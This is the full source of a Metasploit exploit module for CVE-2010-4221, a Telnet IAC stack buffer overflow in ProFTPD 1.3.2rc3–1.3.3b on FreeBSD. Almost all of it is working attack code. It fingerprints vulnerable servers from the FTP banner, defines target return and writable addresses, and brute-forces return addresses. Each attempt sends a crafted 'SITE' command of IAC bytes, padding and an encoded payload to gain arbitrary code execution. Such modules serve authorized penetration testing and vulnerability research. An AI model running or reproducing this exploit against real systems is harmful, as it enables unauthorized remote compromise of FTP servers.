##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Ftp
  include Msf::Exploit::Brute

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (FreeBSD)',
      'Description'    => %q{
          This module exploits a stack-based buffer overflow in versions of ProFTPD
        server between versions 1.3.2rc3 and 1.3.3b. By sending data containing a
        large number of Telnet IAC commands, an attacker can corrupt memory and
        execute arbitrary code.
      },
      'Author'         => [ 'jduck' ],
      'References'     =>
        [
          ['CVE', '2010-4221'],
          ['OSVDB', '68985'],
          ['BID', '44562']
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'PrependChrootBreak' => true
        },
      'Privileged'     => true,
      'Payload'        =>
        {
          'Space'    => 1024,
          # NOTE: \xff's need to be doubled (per ftp/telnet stuff)
          'BadChars' => "\x00\x0a\x0d",
          'PrependEncoder' => "\x83\xec\x7f", # sub esp,0x7f (fix esp)
        },
      'Platform'       => [ 'bsd' ],
      'Targets'        =>
      [
        #
        # Automatic targeting via fingerprinting
        #
        [ 'Automatic Targeting', { 'auto' => true }  ],

        #
        # This special one comes first since we dont want its index changing.
        #
        [	'Debug',
          {
            'IACCount' => 8192, # should cause crash writing off end of stack
            'Offset' => 0,
            'Ret' => 0x41414242,
            'Writable' => 0x43434545
          }
        ],

        #
        # specific targets
        #
        [ 'ProFTPD 1.3.2a Server (FreeBSD 8.0)',
          {
            'IACCount' => 1024,
            'Offset' => 0x414,
            #'Ret' => 0xbfbfeac4,
            'Writable' => 0x80e64a4,
            'Bruteforce'   =>
              {
                'Start' => { 'Ret' => 0xbfbffdfc },
                'Stop'  => { 'Ret' => 0xbfa00000 },
                'Step'  => 512
              }
          }
        ],

      ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Nov 1 2010'))

    register_options(
      [
        Opt::RPORT(21),
      ])
  end


  def check
    # NOTE: We don't care if the login failed here...
    ret = connect

    # We just want the banner to check against our targets..
    print_status("FTP Banner: #{banner.strip}")

    status = CheckCode::Safe
    if banner =~ /ProFTPD (1\.3\.[23][^ ])/i
      ver = $1
      maj,min,rel = ver.split('.')
      relv = rel.slice!(0,1)
      case relv
      when '2'
        if rel.length > 0
          if rel[0,2] == 'rc'
            if rel[2,rel.length].to_i >= 3
              status = CheckCode::Appears
            end
          else
            status = CheckCode::Appears
          end
        end
      when '3'
        # 1.3.3+ defaults to vulnerable (until >= 1.3.3c)
        status = CheckCode::Appears
        if rel.length > 0
          if rel[0,2] != 'rc' and rel[0,1] > 'b'
            status = CheckCode::Safe
          end
        end
      end
    end

    disconnect
    return status
  end

  def target
    return @mytarget if @mytarget
    super
  end

  def exploit
    connect

    # Use a copy of the target
    @mytarget = target

    if (target['auto'])
      @mytarget = nil

      print_status("Automatically detecting the target...")
      if (banner and (m = banner.match(/ProFTPD (1\.3\.[23][^ ]) Server/i))) then
        print_status("FTP Banner: #{banner.strip}")
        version = m[1]
      else
        fail_with(Failure::NoTarget, "No matching target")
      end

      regexp = Regexp.escape(version)
      self.targets.each do |t|
        if (t.name =~ /#{regexp}/) then
          @mytarget = t
          break
        end
      end

      if (not @mytarget)
        fail_with(Failure::NoTarget, "No matching target")
      end

      print_status("Selected Target: #{@mytarget.name}")

      pl = exploit_regenerate_payload(@mytarget.platform, arch)
      if not pl
        fail_with(Failure::Unknown, 'Unable to regenerate payload!')
      end
    else
      print_status("Trying target #{@mytarget.name}...")
      if banner
        print_status("FTP Banner: #{banner.strip}")
      end

      pl = payload
    end
    disconnect

    super
  end

  def brute_exploit(addrs)
    @mytarget ||= target

    ret = addrs['Ret']
    print_status("Trying return address 0x%.8x..." % ret)

    #puts "attach and press any key"; bleh = $stdin.gets

    buf = ''
    buf << 'SITE '
    # NOTE: buf must be odd-lengthed prior to here.
    buf << "\xff" * @mytarget['IACCount']
    buf << rand_text_alphanumeric(@mytarget['Offset'] - buf.length)
    buf << [
      ret,
      @mytarget['Writable']
    ].pack('V*')
    buf << payload.encoded
    buf << "\r\n"

    connect
    sock.put(buf)
    disconnect

    handler
  end
end
